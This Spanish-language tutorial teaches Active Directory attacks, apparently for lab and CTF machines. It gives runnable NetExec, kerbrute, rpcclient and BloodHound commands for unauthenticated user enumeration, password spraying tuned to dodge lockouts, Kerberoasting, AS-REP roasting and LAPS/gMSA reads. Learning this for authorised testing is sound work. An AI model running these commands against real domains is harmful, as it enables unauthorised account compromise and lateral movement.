Enumeración de Active Directory: usuarios, LDAP, BloodHound y password spraying
Qué hacer al encontrar un controlador de dominio: enumerar sin credenciales, conseguir usuarios válidos, password spraying sin bloqueos y BloodHound.
Los puertos 53, 88, 389 y 445 juntos significan una cosa: estás delante de un controlador de dominio. Todo ataque a Active Directory empieza igual, con una enumeración ordenada que responde a dos preguntas: ¿qué usuarios hay? y ¿qué puede hacer cada uno? Esta guía es el primer paso de la ruta de red team en Active Directory, y la checklist de AD la resume en casillas.
0. Preparar tu equipo
# Nombre del dominio y del DC (sale en nmap y en NetExec)
nxc smb 10.10.10.10
echo '10.10.10.10 dc01.corp.local corp.local dc01' | sudo tee -a /etc/hosts
# La hora: Kerberos falla con más de 5 minutos de diferencia
sudo ntpdate 10.10.10.10
Truco
Muchas herramientas funcionan mejor si tu equipo usa el DC como DNS. Con bloodhound-python, por ejemplo, pasa -ns 10.10.10.10 para no tener que tocar /etc/resolv.conf.
1. Sin credenciales
El objetivo aquí es una lista de usuarios válidos (enumeración LDAP/RPC).
# LDAP anónimo (cada vez menos frecuente, pero pruébalo)
ldapsearch -x -H ldap://10.10.10.10 -s base namingContexts
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName description
# Sesión nula o invitado por SMB/RPC (más en la guía de enumeración SMB)
nxc smb 10.10.10.10 -u '' -p '' --users
nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute 5000
rpcclient -U '' -N 10.10.10.10 -c 'enumdomusers;querydispinfo'
# Kerberos: comprueba si existen nombres de una lista (no bloquea cuentas)
kerbrute userenum -d corp.local --dc 10.10.10.10 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Fíjate en el campo description: es un clásico encontrar ahí una contraseña inicial que nadie cambió. Y con la lista de usuarios, prueba enseguida el AS-REP Roasting, que no necesita contraseña. Si hay recursos compartidos, revísalos con la guía de enumeración SMB.
2. Password spraying
Spraying es probar una contraseña contra muchos usuarios, en vez de muchas contraseñas contra uno. Así no se bloquea ninguna cuenta (password spraying).
Antes, mira la política de bloqueo:
nxc smb 10.10.10.10 -u usuario -p 'Contraseña1' --pass-pol # con credenciales
nxc smb 10.10.10.10 -u '' -p '' --pass-pol # a veces, sin ellas
Si Account Lockout Threshold es 5, no hagas más de 3 o 4 intentos por usuario dentro del Lockout Observation Window. Luego:
# Una contraseña contra todos
nxc smb 10.10.10.10 -u usuarios.txt -p 'Otoño2024!' --continue-on-success
# El usuario como contraseña (sorprendentemente común)
nxc smb 10.10.10.10 -u usuarios.txt -p usuarios.txt --no-bruteforce --continue-on-success
# Por Kerberos (más silencioso que SMB en los logs clásicos)
kerbrute passwordspray -d corp.local --dc 10.10.10.10 usuarios.txt 'Otoño2024!'
Qué contraseñas probar: las que encuentres en ficheros o descripciones (en Resolute una contraseña de bienvenida vale para otro usuario), Estación+Año (Invierno2025), Empresa123!, Bienvenido1 y el nombre de usuario.
3. Con un usuario: todo lo demás
Con cualquier usuario del dominio, aunque no tenga privilegios, puedes leer casi todo el directorio.
# Usuarios, grupos, equipos, descripciones
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --users
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --groups
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' -M get-desc-users
# Ataques que solo necesitan un usuario
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --kerberoasting tgs.txt
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --asreproast asrep.txt
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' -M adcs # ¿hay una CA? → guía de ADCS
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' -M maq # ¿puedo crear equipos?
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --gmsa # ¿puedo leer contraseñas gMSA?
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' -M laps # ¿y LAPS?
4. BloodHound
BloodHound dibuja el dominio como un grafo: quién es miembro de qué, quién tiene permisos sobre quién y dónde hay sesiones abiertas. Responde a la pregunta "¿cómo llego desde mi usuario a Domain Admin?".
# Desde Linux
bloodhound-python -d corp.local -u usuario -p 'Contraseña1' -ns 10.10.10.10 -c All --zip
rusthound-ce -d corp.local -u usuario -p 'Contraseña1' -i 10.10.10.10 -z
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --bloodhound -c All --dns-server 10.10.10.10
# Desde una shell en Windows
.\SharpHound.exe -c All --zipfilename datos.zip
Sube el .zip a BloodHound CE y empieza por:
- Marca como Owned los usuarios que ya controlas.
- Consulta Shortest paths from Owned objects y Shortest paths to Domain Admins.
- Mira las Outbound Object Control de cada usuario tuyo: ahí aparecen
GenericAll,WriteDacl,ForceChangePassword... - Revisa los grupos con privilegios especiales:
Remote Management Users(WinRM),Backup Operators,Account Operators,DnsAdmins,Server Operators.
Cada flecha del grafo tiene un abuso concreto: están en la guía de abuso de ACLs. La chuleta de Active Directory trae consultas Cypher para lo que no viene de serie.
Errores típicos
KRB_AP_ERR_SKEW: la hora. Repitentpdateo usafaketime.- BloodHound no recoge sesiones ni administradores locales: esos datos se consultan en cada equipo y necesitan que los alcances por red. Desde una máquina del dominio, SharpHound recoge más que desde fuera.
STATUS_PASSWORD_MUST_CHANGEen el spray: has acertado, pero hay que cambiarla.impacket-changepasswdosmbpasswd -r 10.10.10.10 -U usuariolo hacen sin sesión interactiva.STATUS_ACCOUNT_LOCKED_OUT: para el spray inmediatamente y espera a que pase la ventana.
Ejemplos del catálogo
Forest (usuarios por RPC, AS-REP y una cadena de ACLs), Cascade (una contraseña en un atributo LDAP), Resolute (spraying con una contraseña de una descripción), Monteverde (usuario como contraseña) y Cicada (una contraseña por defecto en un recurso compartido).
Y después
Con el grafo delante, elige el camino: Kerberoasting, ACLs, certificados o delegación. Y en cuanto tengas un usuario en Remote Management Users, entra por WinRM (movimiento lateral).